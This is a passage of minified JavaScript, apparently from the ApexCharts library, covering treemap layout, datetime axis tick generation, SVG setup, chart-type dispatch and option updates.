A=b.globals.isXNumeric?(b.globals.seriesX[s][r]-b.globals.minX)/this.xRatio:o-this.xDivision;g=g+v.line(A,w)+v.move(o,n)+"z"}null===i[a][r]&&(d+=v.move(o,n),g+=v.move(o,w)),"stepline"===y?(d=d+v.line(o,null,"H")+v.line(null,n,"V"),g=g+v.line(o,null,"H")+v.line(null,n,"V")):"straight"===y&&(d+=v.line(o,n),g+=v.line(o,n)),r===i[a].length-2&&(g=g+v.line(o,w)+v.move(o,n)+"z","rangeArea"===e&&x?d=d+v.line(o,l)+v.move(o,l)+"z":(u.push(d),p.push(g)))}return{linePaths:u,areaPaths:p,pX:h,pY:c,linePath:d,areaPath:g}}},{key:"handleNullDataPoints",value:function(t,e,i,a,s){var r=this.w;if(null===t[i][a]&&r.config.markers.showNullDataPoints||1===t[i].length){var o=this.markers.plotChartMarkers(e,s,a+1,this.strokeWidth-r.config.markers.strokeWidth/2,!0);null!==o&&this.elPointsMain.add(o)}}}]),t}();window.TreemapSquared={},window.TreemapSquared.generate=function(){function t(e,i,a,s){this.xoffset=e,this.yoffset=i,this.height=s,this.width=a,this.shortestEdge=function(){return Math.min(this.height,this.width)},this.getCoordinates=function(t){var e,i=[],a=this.xoffset,s=this.yoffset,o=r(t)/this.height,n=r(t)/this.width;if(this.width>=this.height)for(e=0;e<t.length;e++)i.push([a,s,a+o,s+t[e]/o]),s+=t[e]/o;else for(e=0;e<t.length;e++)i.push([a,s,a+t[e]/n,s+n]),a+=t[e]/n;return i},this.cutArea=function(e){var i;if(this.width>=this.height){var a=e/this.height,s=this.width-a;i=new t(this.xoffset+a,this.yoffset,s,this.height)}else{var r=e/this.width,o=this.height-r;i=new t(this.xoffset,this.yoffset+r,this.width,o)}return i}}function e(e,a,s,o,n){o=void 0===o?0:o,n=void 0===n?0:n;var l=i(function(t,e){var i,a=[],s=e/r(t);for(i=0;i<t.length;i++)a[i]=t[i]*s;return a}(e,a*s),[],new t(o,n,a,s),[]);return function(t){var e,i,a=[];for(e=0;e<t.length;e++)for(i=0;i<t[e].length;i++)a.push(t[e][i]);return a}(l)}function i(t,e,s,o){var n,l,h;if(0!==t.length)return n=s.shortestEdge(),function(t,e,i){var s;if(0===t.length)return!0;(s=t.slice()).push(e);var r=a(t,i),o=a(s,i);return r>=o}(e,l=t[0],n)?(e.push(l),i(t.slice(1),e,s,o)):(h=s.cutArea(r(e),o),o.push(s.getCoordinates(e)),i(t,[],h,o)),o;o.push(s.getCoordinates(e))}function a(t,e){var i=Math.min.apply(Math,t),a=Math.max.apply(Math,t),s=r(t);return Math.max(Math.pow(e,2)*a/Math.pow(s,2),Math.pow(s,2)/(Math.pow(e,2)*i))}function s(t){return t&&t.constructor===Array}function r(t){var e,i=0;for(e=0;e<t.length;e++)i+=t[e];return i}function o(t){var e,i=0;if(s(t[0]))for(e=0;e<t.length;e++)i+=o(t[e]);else i=r(t);return i}return function t(i,a,r,n,l){n=void 0===n?0:n,l=void 0===l?0:l;var h,c,d=[],g=[];if(s(i[0])){for(c=0;c<i.length;c++)d[c]=o(i[c]);for(h=e(d,a,r,n,l),c=0;c<i.length;c++)g.push(t(i[c],h[c][2]-h[c][0],h[c][3]-h[c][1],h[c][0],h[c][1]))}else g=e(i,a,r,n,l);return g}}();var zt,Et,Yt=function(){function t(e,i){a(this,t),this.ctx=e,this.w=e.w,this.strokeWidth=this.w.config.stroke.width,this.helpers=new At(e),this.dynamicAnim=this.w.config.chart.animations.dynamicAnimation,this.labels=[]}return r(t,[{key:"draw",value:function(t){var e=this,i=this.w,a=new m(this.ctx),s=new R(this.ctx),r=a.group({class:"apexcharts-treemap"});if(i.globals.noData)return r;var o=[];return t.forEach((function(t){var e=t.map((function(t){return Math.abs(t)}));o.push(e)})),this.negRange=this.helpers.checkColorRange(),i.config.series.forEach((function(t,i){t.data.forEach((function(t){Array.isArray(e.labels[i])||(e.labels[i]=[]),e.labels[i].push(t.x)}))})),window.TreemapSquared.generate(o,i.globals.gridWidth,i.globals.gridHeight).forEach((function(o,n){var l=a.group({class:"apexcharts-series apexcharts-treemap-series",seriesName:x.escapeString(i.globals.seriesNames[n]),rel:n+1,"data:realIndex":n});if(i.config.chart.dropShadow.enabled){var h=i.config.chart.dropShadow;new v(e.ctx).dropShadow(r,h,n)}var c=a.group({class:"apexcharts-data-labels"});o.forEach((function(r,o){var h=r[0],c=r[1],d=r[2],g=r[3],u=a.drawRect(h,c,d-h,g-c,0,"#fff",1,e.strokeWidth,i.config.plotOptions.treemap.useFillColorAsStroke?f:i.globals.stroke.colors[n]);u.attr({cx:h,cy:c,index:n,i:n,j:o,width:d-h,height:g-c});var p=e.helpers.getShadeColor(i.config.chart.type,n,o,e.negRange),f=p.color;void 0!==i.config.series[n].data[o]&&i.config.series[n].data[o].fillColor&&(f=i.config.series[n].data[o].fillColor);var x=s.fillPath({color:f,seriesNumber:n,dataPointIndex:o});u.node.classList.add("apexcharts-treemap-rect"),u.attr({fill:x}),e.helpers.addListeners(u);var b={x:h+(d-h)/2,y:c+(g-c)/2,width:0,height:0},v={x:h,y:c,width:d-h,height:g-c};if(i.config.chart.animations.enabled&&!i.globals.dataChanged){var m=1;i.globals.resized||(m=i.config.chart.animations.speed),e.animateTreemap(u,b,v,m)}if(i.globals.dataChanged){var y=1;e.dynamicAnim.enabled&&i.globals.shouldAnimate&&(y=e.dynamicAnim.speed,i.globals.previousPaths[n]&&i.globals.previousPaths[n][o]&&i.globals.previousPaths[n][o].rect&&(b=i.globals.previousPaths[n][o].rect),e.animateTreemap(u,b,v,y))}var w=e.getFontSize(r),k=i.config.dataLabels.formatter(e.labels[n][o],{value:i.globals.series[n][o],seriesIndex:n,dataPointIndex:o,w:i}),A=e.helpers.calculateDataLabels({text:k,x:(h+d)/2,y:(c+g)/2+e.strokeWidth/2+w/3,i:n,j:o,colorProps:p,fontSize:w,series:t});i.config.dataLabels.enabled&&A&&e.rotateToFitLabel(A,w,k,h,c,d,g),l.add(u),null!==A&&l.add(A)})),l.add(c),r.add(l)})),r}},{key:"getFontSize",value:function(t){var e=this.w;var i,a,s,r,o=function t(e){var i,a=0;if(Array.isArray(e[0]))for(i=0;i<e.length;i++)a+=t(e[i]);else for(i=0;i<e.length;i++)a+=e[i].length;return a}(this.labels)/function t(e){var i,a=0;if(Array.isArray(e[0]))for(i=0;i<e.length;i++)a+=t(e[i]);else for(i=0;i<e.length;i++)a+=1;return a}(this.labels);return i=t[2]-t[0],a=t[3]-t[1],s=i*a,r=Math.pow(s,.5),Math.min(r/o,parseInt(e.config.dataLabels.style.fontSize,10))}},{key:"rotateToFitLabel",value:function(t,e,i,a,s,r,o){var n=new m(this.ctx),l=n.getTextRects(i,e);if(l.width+this.w.config.stroke.width+5>r-a&&l.width<=o-s){var h=n.rotateAroundCenter(t.node);t.node.setAttribute("transform","rotate(-90 ".concat(h.x," ").concat(h.y,")"))}}},{key:"animateTreemap",value:function(t,e,i,a){var s=new b(this.ctx);s.animateRect(t,{x:e.x,y:e.y,width:e.width,height:e.height},{x:i.x,y:i.y,width:i.width,height:i.height},a,(function(){s.animationCompleted(t)}))}}]),t}(),Ft=86400,Rt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.timeScaleArray=[],this.utc=this.w.config.xaxis.labels.datetimeUTC}return r(t,[{key:"calculateTimeScaleTicks",value:function(t,i){var a=this,s=this.w;if(s.globals.allSeriesCollapsed)return s.globals.labels=[],s.globals.timescaleLabels=[],[];var r=new I(this.ctx),o=(i-t)/864e5;this.determineInterval(o),s.globals.disableZoomIn=!1,s.globals.disableZoomOut=!1,o<.00011574074074074075?s.globals.disableZoomIn=!0:o>5e4&&(s.globals.disableZoomOut=!0);var n=r.getTimeUnitsfromTimestamp(t,i,this.utc),l=s.globals.gridWidth/o,h=l/24,c=h/60,d=c/60,g=Math.floor(24*o),u=Math.floor(1440*o),p=Math.floor(o*Ft),f=Math.floor(o),x=Math.floor(o/30),b=Math.floor(o/365),v={minMillisecond:n.minMillisecond,minSecond:n.minSecond,minMinute:n.minMinute,minHour:n.minHour,minDate:n.minDate,minMonth:n.minMonth,minYear:n.minYear},m={firstVal:v,currentMillisecond:v.minMillisecond,currentSecond:v.minSecond,currentMinute:v.minMinute,currentHour:v.minHour,currentMonthDate:v.minDate,currentDate:v.minDate,currentMonth:v.minMonth,currentYear:v.minYear,daysWidthOnXAxis:l,hoursWidthOnXAxis:h,minutesWidthOnXAxis:c,secondsWidthOnXAxis:d,numberOfSeconds:p,numberOfMinutes:u,numberOfHours:g,numberOfDays:f,numberOfMonths:x,numberOfYears:b};switch(this.tickInterval){case"years":this.generateYearScale(m);break;case"months":case"half_year":this.generateMonthScale(m);break;case"months_days":case"months_fortnight":case"days":case"week_days":this.generateDayScale(m);break;case"hours":this.generateHourScale(m);break;case"minutes_fives":case"minutes":this.generateMinuteScale(m);break;case"seconds_tens":case"seconds_fives":case"seconds":this.generateSecondScale(m)}var y=this.timeScaleArray.map((function(t){var i={position:t.position,unit:t.unit,year:t.year,day:t.day?t.day:1,hour:t.hour?t.hour:0,month:t.month+1};return"month"===t.unit?e(e({},i),{},{day:1,value:t.value+1}):"day"===t.unit||"hour"===t.unit?e(e({},i),{},{value:t.value}):"minute"===t.unit?e(e({},i),{},{value:t.value,minute:t.value}):"second"===t.unit?e(e({},i),{},{value:t.value,minute:t.minute,second:t.second}):t}));return y.filter((function(t){var e=1,i=Math.ceil(s.globals.gridWidth/120),r=t.value;void 0!==s.config.xaxis.tickAmount&&(i=s.config.xaxis.tickAmount),y.length>i&&(e=Math.floor(y.length/i));var o=!1,n=!1;switch(a.tickInterval){case"years":"year"===t.unit&&(o=!0);break;case"half_year":e=7,"year"===t.unit&&(o=!0);break;case"months":e=1,"year"===t.unit&&(o=!0);break;case"months_fortnight":e=15,"year"!==t.unit&&"month"!==t.unit||(o=!0),30===r&&(n=!0);break;case"months_days":e=10,"month"===t.unit&&(o=!0),30===r&&(n=!0);break;case"week_days":e=8,"month"===t.unit&&(o=!0);break;case"days":e=1,"month"===t.unit&&(o=!0);break;case"hours":"day"===t.unit&&(o=!0);break;case"minutes_fives":case"seconds_fives":r%5!=0&&(n=!0);break;case"seconds_tens":r%10!=0&&(n=!0)}if("hours"===a.tickInterval||"minutes_fives"===a.tickInterval||"seconds_tens"===a.tickInterval||"seconds_fives"===a.tickInterval){if(!n)return!0}else if((r%e==0||o)&&!n)return!0}))}},{key:"recalcDimensionsBasedOnFormat",value:function(t,e){var i=this.w,a=this.formatDates(t),s=this.removeOverlappingTS(a);i.globals.timescaleLabels=s.slice(),new ot(this.ctx).plotCoords()}},{key:"determineInterval",value:function(t){var e=24*t,i=60*e;switch(!0){case t/365>5:this.tickInterval="years";break;case t>800:this.tickInterval="half_year";break;case t>180:this.tickInterval="months";break;case t>90:this.tickInterval="months_fortnight";break;case t>60:this.tickInterval="months_days";break;case t>30:this.tickInterval="week_days";break;case t>2:this.tickInterval="days";break;case e>2.4:this.tickInterval="hours";break;case i>15:this.tickInterval="minutes_fives";break;case i>5:this.tickInterval="minutes";break;case i>1:this.tickInterval="seconds_tens";break;case 60*i>20:this.tickInterval="seconds_fives";break;default:this.tickInterval="seconds"}}},{key:"generateYearScale",value:function(t){var e=t.firstVal,i=t.currentMonth,a=t.currentYear,s=t.daysWidthOnXAxis,r=t.numberOfYears,o=e.minYear,n=0,l=new I(this.ctx),h="year";if(e.minDate>1||e.minMonth>0){var c=l.determineRemainingDaysOfYear(e.minYear,e.minMonth,e.minDate);n=(l.determineDaysOfYear(e.minYear)-c+1)*s,o=e.minYear+1,this.timeScaleArray.push({position:n,value:o,unit:h,year:o,month:x.monthMod(i+1)})}else 1===e.minDate&&0===e.minMonth&&this.timeScaleArray.push({position:n,value:o,unit:h,year:a,month:x.monthMod(i+1)});for(var d=o,g=n,u=0;u<r;u++)d++,g=l.determineDaysOfYear(d-1)*s+g,this.timeScaleArray.push({position:g,value:d,unit:h,year:d,month:1})}},{key:"generateMonthScale",value:function(t){var e=t.firstVal,i=t.currentMonthDate,a=t.currentMonth,s=t.currentYear,r=t.daysWidthOnXAxis,o=t.numberOfMonths,n=a,l=0,h=new I(this.ctx),c="month",d=0;if(e.minDate>1){l=(h.determineDaysOfMonths(a+1,e.minYear)-i+1)*r,n=x.monthMod(a+1);var g=s+d,u=x.monthMod(n),p=n;0===n&&(c="year",p=g,u=1,g+=d+=1),this.timeScaleArray.push({position:l,value:p,unit:c,year:g,month:u})}else this.timeScaleArray.push({position:l,value:n,unit:c,year:s,month:x.monthMod(a)});for(var f=n+1,b=l,v=0,m=1;v<o;v++,m++){0===(f=x.monthMod(f))?(c="year",d+=1):c="month";var y=this._getYear(s,f,d);b=h.determineDaysOfMonths(f,y)*r+b;var w=0===f?y:f;this.timeScaleArray.push({position:b,value:w,unit:c,year:y,month:0===f?1:f}),f++}}},{key:"generateDayScale",value:function(t){var e=t.firstVal,i=t.currentMonth,a=t.currentYear,s=t.hoursWidthOnXAxis,r=t.numberOfDays,o=new I(this.ctx),n="day",l=e.minDate+1,h=l,c=function(t,e,i){return t>o.determineDaysOfMonths(e+1,i)?(h=1,n="month",g=e+=1,e):e},d=(24-e.minHour)*s,g=l,u=c(h,i,a);0===e.minHour&&1===e.minDate?(d=0,g=x.monthMod(e.minMonth),n="month",h=e.minDate,r++):1!==e.minDate&&0===e.minHour&&0===e.minMinute&&(d=0,l=e.minDate,g=l,u=c(h=l,i,a)),this.timeScaleArray.push({position:d,value:g,unit:n,year:this._getYear(a,u,0),month:x.monthMod(u),day:h});for(var p=d,f=0;f<r;f++){n="day",u=c(h+=1,u,this._getYear(a,u,0));var b=this._getYear(a,u,0);p=24*s+p;var v=1===h?x.monthMod(u):h;this.timeScaleArray.push({position:p,value:v,unit:n,year:b,month:x.monthMod(u),day:v})}}},{key:"generateHourScale",value:function(t){var e=t.firstVal,i=t.currentDate,a=t.currentMonth,s=t.currentYear,r=t.minutesWidthOnXAxis,o=t.numberOfHours,n=new I(this.ctx),l="hour",h=function(t,e){return t>n.determineDaysOfMonths(e+1,s)&&(f=1,e+=1),{month:e,date:f}},c=function(t,e){return t>n.determineDaysOfMonths(e+1,s)?e+=1:e},d=60-(e.minMinute+e.minSecond/60),g=d*r,u=e.minHour+1,p=u+1;60===d&&(g=0,p=(u=e.minHour)+1);var f=i,b=c(f,a);this.timeScaleArray.push({position:g,value:u,unit:l,day:f,hour:p,year:s,month:x.monthMod(b)});for(var v=g,m=0;m<o;m++){if(l="hour",p>=24)p=0,l="day",b=h(f+=1,b).month,b=c(f,b);var y=this._getYear(s,b,0);v=60*r+v;var w=0===p?f:p;this.timeScaleArray.push({position:v,value:w,unit:l,hour:p,day:f,year:y,month:x.monthMod(b)}),p++}}},{key:"generateMinuteScale",value:function(t){for(var e=t.currentMillisecond,i=t.currentSecond,a=t.currentMinute,s=t.currentHour,r=t.currentDate,o=t.currentMonth,n=t.currentYear,l=t.minutesWidthOnXAxis,h=t.secondsWidthOnXAxis,c=t.numberOfMinutes,d=a+1,g=r,u=o,p=n,f=s,b=(60-i-e/1e3)*h,v=0;v<c;v++)d>=60&&(d=0,24===(f+=1)&&(f=0)),this.timeScaleArray.push({position:b,value:d,unit:"minute",hour:f,minute:d,day:g,year:this._getYear(p,u,0),month:x.monthMod(u)}),b+=l,d++}},{key:"generateSecondScale",value:function(t){for(var e=t.currentMillisecond,i=t.currentSecond,a=t.currentMinute,s=t.currentHour,r=t.currentDate,o=t.currentMonth,n=t.currentYear,l=t.secondsWidthOnXAxis,h=t.numberOfSeconds,c=i+1,d=a,g=r,u=o,p=n,f=s,b=(1e3-e)/1e3*l,v=0;v<h;v++)c>=60&&(c=0,++d>=60&&(d=0,24===++f&&(f=0))),this.timeScaleArray.push({position:b,value:c,unit:"second",hour:f,minute:d,second:c,day:g,year:this._getYear(p,u,0),month:x.monthMod(u)}),b+=l,c++}},{key:"createRawDateString",value:function(t,e){var i=t.year;return 0===t.month&&(t.month=1),i+="-"+("0"+t.month.toString()).slice(-2),"day"===t.unit?i+="day"===t.unit?"-"+("0"+e).slice(-2):"-01":i+="-"+("0"+(t.day?t.day:"1")).slice(-2),"hour"===t.unit?i+="hour"===t.unit?"T"+("0"+e).slice(-2):"T00":i+="T"+("0"+(t.hour?t.hour:"0")).slice(-2),"minute"===t.unit?i+=":"+("0"+e).slice(-2):i+=":"+(t.minute?("0"+t.minute).slice(-2):"00"),"second"===t.unit?i+=":"+("0"+e).slice(-2):i+=":00",this.utc&&(i+=".000Z"),i}},{key:"formatDates",value:function(t){var e=this,i=this.w;return t.map((function(t){var a=t.value.toString(),s=new I(e.ctx),r=e.createRawDateString(t,a),o=s.getDate(s.parseDate(r));if(e.utc||(o=s.getDate(s.parseDateWithTimezone(r))),void 0===i.config.xaxis.labels.format){var n="dd MMM",l=i.config.xaxis.labels.datetimeFormatter;"year"===t.unit&&(n=l.year),"month"===t.unit&&(n=l.month),"day"===t.unit&&(n=l.day),"hour"===t.unit&&(n=l.hour),"minute"===t.unit&&(n=l.minute),"second"===t.unit&&(n=l.second),a=s.formatDate(o,n)}else a=s.formatDate(o,i.config.xaxis.labels.format);return{dateString:r,position:t.position,value:a,unit:t.unit,year:t.year,month:t.month}}))}},{key:"removeOverlappingTS",value:function(t){var e,i=this,a=new m(this.ctx),s=!1;t.length>0&&t[0].value&&t.every((function(e){return e.value.length===t[0].value.length}))&&(s=!0,e=a.getTextRects(t[0].value).width);var r=0,o=t.map((function(o,n){if(n>0&&i.w.config.xaxis.labels.hideOverlappingLabels){var l=s?e:a.getTextRects(t[r].value).width,h=t[r].position;return o.position>h+l+10?(r=n,o):null}return o}));return o=o.filter((function(t){return null!==t}))}},{key:"_getYear",value:function(t,e,i){return t+Math.floor(e/12)+i}}]),t}(),Ht=function(){function t(e,i){a(this,t),this.ctx=i,this.w=i.w,this.el=e}return r(t,[{key:"setupElements",value:function(){var t=this.w.globals,e=this.w.config,i=e.chart.type;t.axisCharts=["line","area","bar","rangeBar","rangeArea","candlestick","boxPlot","scatter","bubble","radar","heatmap","treemap"].indexOf(i)>-1,t.xyCharts=["line","area","bar","rangeBar","rangeArea","candlestick","boxPlot","scatter","bubble"].indexOf(i)>-1,t.isBarHorizontal=("bar"===e.chart.type||"rangeBar"===e.chart.type||"boxPlot"===e.chart.type)&&e.plotOptions.bar.horizontal,t.chartClass=".apexcharts"+t.chartID,t.dom.baseEl=this.el,t.dom.elWrap=document.createElement("div"),m.setAttrs(t.dom.elWrap,{id:t.chartClass.substring(1),class:"apexcharts-canvas "+t.chartClass.substring(1)}),this.el.appendChild(t.dom.elWrap),t.dom.Paper=new window.SVG.Doc(t.dom.elWrap),t.dom.Paper.attr({class:"apexcharts-svg","xmlns:data":"ApexChartsNS",transform:"translate(".concat(e.chart.offsetX,", ").concat(e.chart.offsetY,")")}),t.dom.Paper.node.style.background=e.chart.background,this.setSVGDimensions(),t.dom.elLegendForeign=document.createElementNS(t.SVGNS,"foreignObject"),m.setAttrs(t.dom.elLegendForeign,{x:0,y:0,width:t.svgWidth,height:t.svgHeight}),t.dom.elLegendWrap=document.createElement("div"),t.dom.elLegendWrap.classList.add("apexcharts-legend"),t.dom.elLegendWrap.setAttribute("xmlns","http://www.w3.org/1999/xhtml"),t.dom.elLegendForeign.appendChild(t.dom.elLegendWrap),t.dom.Paper.node.appendChild(t.dom.elLegendForeign),t.dom.elGraphical=t.dom.Paper.group().attr({class:"apexcharts-inner apexcharts-graphical"}),t.dom.elDefs=t.dom.Paper.defs(),t.dom.Paper.add(t.dom.elGraphical),t.dom.elGraphical.add(t.dom.elDefs)}},{key:"plotChartType",value:function(t,e){var i=this.w,a=i.config,s=i.globals,r={series:[],i:[]},o={series:[],i:[]},n={series:[],i:[]},l={series:[],i:[]},h={series:[],i:[]},c={series:[],i:[]},d={series:[],i:[]},g={series:[],i:[]},u={series:[],seriesRangeEnd:[],i:[]};s.series.map((function(e,p){var f=0;void 0!==t[p].type?("column"===t[p].type||"bar"===t[p].type?(s.series.length>1&&a.plotOptions.bar.horizontal&&console.warn("Horizontal bars are not supported in a mixed/combo chart. Please turn off `plotOptions.bar.horizontal`"),h.series.push(e),h.i.push(p),f++,i.globals.columnSeries=h.series):"area"===t[p].type?(o.series.push(e),o.i.push(p),f++):"line"===t[p].type?(r.series.push(e),r.i.push(p),f++):"scatter"===t[p].type?(n.series.push(e),n.i.push(p)):"bubble"===t[p].type?(l.series.push(e),l.i.push(p),f++):"candlestick"===t[p].type?(c.series.push(e),c.i.push(p),f++):"boxPlot"===t[p].type?(d.series.push(e),d.i.push(p),f++):"rangeBar"===t[p].type?(g.series.push(e),g.i.push(p),f++):"rangeArea"===t[p].type?(u.series.push(s.seriesRangeStart[p]),u.seriesRangeEnd.push(s.seriesRangeEnd[p]),u.i.push(p),f++):console.warn("You have specified an unrecognized chart type. Available types for this property are line/area/column/bar/scatter/bubble/candlestick/boxPlot/rangeBar/rangeArea"),f>1&&(s.comboCharts=!0)):(r.series.push(e),r.i.push(p))}));var p=new Xt(this.ctx,e),f=new kt(this.ctx,e);this.ctx.pie=new Lt(this.ctx);var x=new It(this.ctx);this.ctx.rangeBar=new Tt(this.ctx,e);var b=new Pt(this.ctx),v=[];if(s.comboCharts){if(o.series.length>0&&v.push(p.draw(o.series,"area",o.i)),h.series.length>0)if(i.config.chart.stacked){var m=new wt(this.ctx,e);v.push(m.draw(h.series,h.i))}else this.ctx.bar=new yt(this.ctx,e),v.push(this.ctx.bar.draw(h.series,h.i));if(u.series.length>0&&v.push(p.draw(u.series,"rangeArea",u.i,u.seriesRangeEnd)),r.series.length>0&&v.push(p.draw(r.series,"line",r.i)),c.series.length>0&&v.push(f.draw(c.series,"candlestick",c.i)),d.series.length>0&&v.push(f.draw(d.series,"boxPlot",d.i)),g.series.length>0&&v.push(this.ctx.rangeBar.draw(g.series,g.i)),n.series.length>0){var y=new Xt(this.ctx,e,!0);v.push(y.draw(n.series,"scatter",n.i))}if(l.series.length>0){var w=new Xt(this.ctx,e,!0);v.push(w.draw(l.series,"bubble",l.i))}}else switch(a.chart.type){case"line":v=p.draw(s.series,"line");break;case"area":v=p.draw(s.series,"area");break;case"bar":if(a.chart.stacked)v=new wt(this.ctx,e).draw(s.series);else this.ctx.bar=new yt(this.ctx,e),v=this.ctx.bar.draw(s.series);break;case"candlestick":v=new kt(this.ctx,e).draw(s.series,"candlestick");break;case"boxPlot":v=new kt(this.ctx,e).draw(s.series,a.chart.type);break;case"rangeBar":v=this.ctx.rangeBar.draw(s.series);break;case"rangeArea":v=p.draw(s.seriesRangeStart,"rangeArea",void 0,s.seriesRangeEnd);break;case"heatmap":v=new St(this.ctx,e).draw(s.series);break;case"treemap":v=new Yt(this.ctx,e).draw(s.series);break;case"pie":case"donut":case"polarArea":v=this.ctx.pie.draw(s.series);break;case"radialBar":v=x.draw(s.series);break;case"radar":v=b.draw(s.series);break;default:v=p.draw(s.series)}return v}},{key:"setSVGDimensions",value:function(){var t=this.w.globals,e=this.w.config;t.svgWidth=e.chart.width,t.svgHeight=e.chart.height;var i=x.getDimensions(this.el),a=e.chart.width.toString().split(/[0-9]+/g).pop();"%"===a?x.isNumber(i[0])&&(0===i[0].width&&(i=x.getDimensions(this.el.parentNode)),t.svgWidth=i[0]*parseInt(e.chart.width,10)/100):"px"!==a&&""!==a||(t.svgWidth=parseInt(e.chart.width,10));var s=e.chart.height.toString().split(/[0-9]+/g).pop();if("auto"!==t.svgHeight&&""!==t.svgHeight)if("%"===s){var r=x.getDimensions(this.el.parentNode);t.svgHeight=r[1]*parseInt(e.chart.height,10)/100}else t.svgHeight=parseInt(e.chart.height,10);else t.axisCharts?t.svgHeight=t.svgWidth/1.61:t.svgHeight=t.svgWidth/1.2;if(t.svgWidth<0&&(t.svgWidth=0),t.svgHeight<0&&(t.svgHeight=0),m.setAttrs(t.dom.Paper.node,{width:t.svgWidth,height:t.svgHeight}),"%"!==s){var o=e.chart.sparkline.enabled?0:t.axisCharts?e.chart.parentHeightOffset:0;t.dom.Paper.node.parentNode.parentNode.style.minHeight=t.svgHeight+o+"px"}t.dom.elWrap.style.width=t.svgWidth+"px",t.dom.elWrap.style.height=t.svgHeight+"px"}},{key:"shiftGraphPosition",value:function(){var t=this.w.globals,e=t.translateY,i={transform:"translate("+t.translateX+", "+e+")"};m.setAttrs(t.dom.elGraphical.node,i)}},{key:"resizeNonAxisCharts",value:function(){var t=this.w,e=t.globals,i=0,a=t.config.chart.sparkline.enabled?1:15;a+=t.config.grid.padding.bottom,"top"!==t.config.legend.position&&"bottom"!==t.config.legend.position||!t.config.legend.show||t.config.legend.floating||(i=new lt(this.ctx).legendHelpers.getLegendBBox().clwh+10);var s=t.globals.dom.baseEl.querySelector(".apexcharts-radialbar, .apexcharts-pie"),r=2.05*t.globals.radialSize;if(s&&!t.config.chart.sparkline.enabled&&0!==t.config.plotOptions.radialBar.startAngle){var o=x.getBoundingClientRect(s);r=o.bottom;var n=o.bottom-o.top;r=Math.max(2.05*t.globals.radialSize,n)}var l=r+e.translateY+i+a;e.dom.elLegendForeign&&e.dom.elLegendForeign.setAttribute("height",l),t.config.chart.height&&String(t.config.chart.height).indexOf("%")>0||(e.dom.elWrap.style.height=l+"px",m.setAttrs(e.dom.Paper.node,{height:l}),e.dom.Paper.node.parentNode.parentNode.style.minHeight=l+"px")}},{key:"coreCalculations",value:function(){new U(this.ctx).init()}},{key:"resetGlobals",value:function(){var t=this,e=function(){return t.w.config.series.map((function(t){return[]}))},i=new Y,a=this.w.globals;i.initGlobalVars(a),a.seriesXvalues=e(),a.seriesYvalues=e()}},{key:"isMultipleY",value:function(){if(this.w.config.yaxis.constructor===Array&&this.w.config.yaxis.length>1)return this.w.globals.isMultipleYAxis=!0,!0}},{key:"xySettings",value:function(){var t=null,e=this.w;if(e.globals.axisCharts){if("back"===e.config.xaxis.crosshairs.position)new Q(this.ctx).drawXCrosshairs();if("back"===e.config.yaxis[0].crosshairs.position)new Q(this.ctx).drawYCrosshairs();if("datetime"===e.config.xaxis.type&&void 0===e.config.xaxis.labels.formatter){this.ctx.timeScale=new Rt(this.ctx);var i=[];isFinite(e.globals.minX)&&isFinite(e.globals.maxX)&&!e.globals.isBarHorizontal?i=this.ctx.timeScale.calculateTimeScaleTicks(e.globals.minX,e.globals.maxX):e.globals.isBarHorizontal&&(i=this.ctx.timeScale.calculateTimeScaleTicks(e.globals.minY,e.globals.maxY)),this.ctx.timeScale.recalcDimensionsBasedOnFormat(i)}t=new y(this.ctx).getCalculatedRatios()}return t}},{key:"updateSourceChart",value:function(t){this.ctx.w.globals.selection=void 0,this.ctx.updateHelpers._updateOptions({chart:{selection:{xaxis:{min:t.w.globals.minX,max:t.w.globals.maxX}}}},!1,!1)}},{key:"setupBrushHandler",value:function(){var t=this,i=this.w;if(i.config.chart.brush.enabled&&"function"!=typeof i.config.chart.events.selection){var a=i.config.chart.brush.targets||[i.config.chart.brush.target];a.forEach((function(e){var i=ApexCharts.getChartByID(e);i.w.globals.brushSource=t.ctx,"function"!=typeof i.w.config.chart.events.zoomed&&(i.w.config.chart.events.zoomed=function(){t.updateSourceChart(i)}),"function"!=typeof i.w.config.chart.events.scrolled&&(i.w.config.chart.events.scrolled=function(){t.updateSourceChart(i)})})),i.config.chart.events.selection=function(t,s){a.forEach((function(t){var a=ApexCharts.getChartByID(t),r=x.clone(i.config.yaxis);if(i.config.chart.brush.autoScaleYaxis&&1===a.w.globals.series.length){var o=new _(a);r=o.autoScaleY(a,r,s)}var n=a.w.config.yaxis.reduce((function(t,i,s){return[].concat(u(t),[e(e({},a.w.config.yaxis[s]),{},{min:r[0].min,max:r[0].max})])}),[]);a.ctx.updateHelpers._updateOptions({xaxis:{min:s.xaxis.min,max:s.xaxis.max},yaxis:n},!1,!1,!1,!1)}))}}}}]),t}(),Dt=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"_updateOptions",value:function(t){var e=this,a=arguments.length>1&&void 0!==arguments[1]&&arguments[1],s=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],r=!(arguments.length>3&&void 0!==arguments[3])||arguments[3],o=arguments.length>4&&void 0!==arguments[4]&&arguments[4];return new Promise((function(n){var l=[e.ctx];r&&(l=e.ctx.getSyncedCharts()),e.ctx.w.globals.isExecCalled&&(l=[e.ctx],e.ctx.w.globals.isExecCalled=!1),l.forEach((function(r,h){var c=r.w;if(c.globals.shouldAnimate=s,a||(c.globals.resized=!0,c.globals.dataChanged=!0,s&&r.series.getPreviousPaths()),t&&"object"===i(t)&&(r.config=new E(t),t=y.extendArrayProps(r.config,t,c),r.w.globals.chartID!==e.ctx.w.globals.chartID&&delete t.series,c.config=x.extend(c.config,t),o&&(c.globals.lastXAxis=t.xaxis?x.clone(t.xaxis):[],c.globals.lastYAxis=t.yaxis?x.clone(t.yaxis):[],c.globals.initialConfig=x.extend({},c.config),c.globals.initialSeries=x.clone(c.config.series),t.series))){for(var d=0;d<c.globals.collapsedSeriesIndices.length;d++){var g=c.config.series[c.globals.collapsedSeriesIndices[d]];c.globals.collapsedSeries[d].data=c.globals.axisCharts?g.data.slice():g}for(var u=0;u<c.globals.ancillaryCollapsedSeriesIndices.length;u++){var p=c.config.series[c.globals.ancillaryCollapsedSeriesIndices[u]];c.globals.ancillaryCollapsedSeries[u].data=c.globals.axisCharts?p.data.slice():p}r.series.emptyCollapsedSeries(c.config.series)}return r.update(t).then((function(){h===l.length-1&&n(r)}))}))}))}},{key:"_updateSeries",value:function(t,e){var i=this,a=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return new Promise((function(s){var r,o=i.w;return 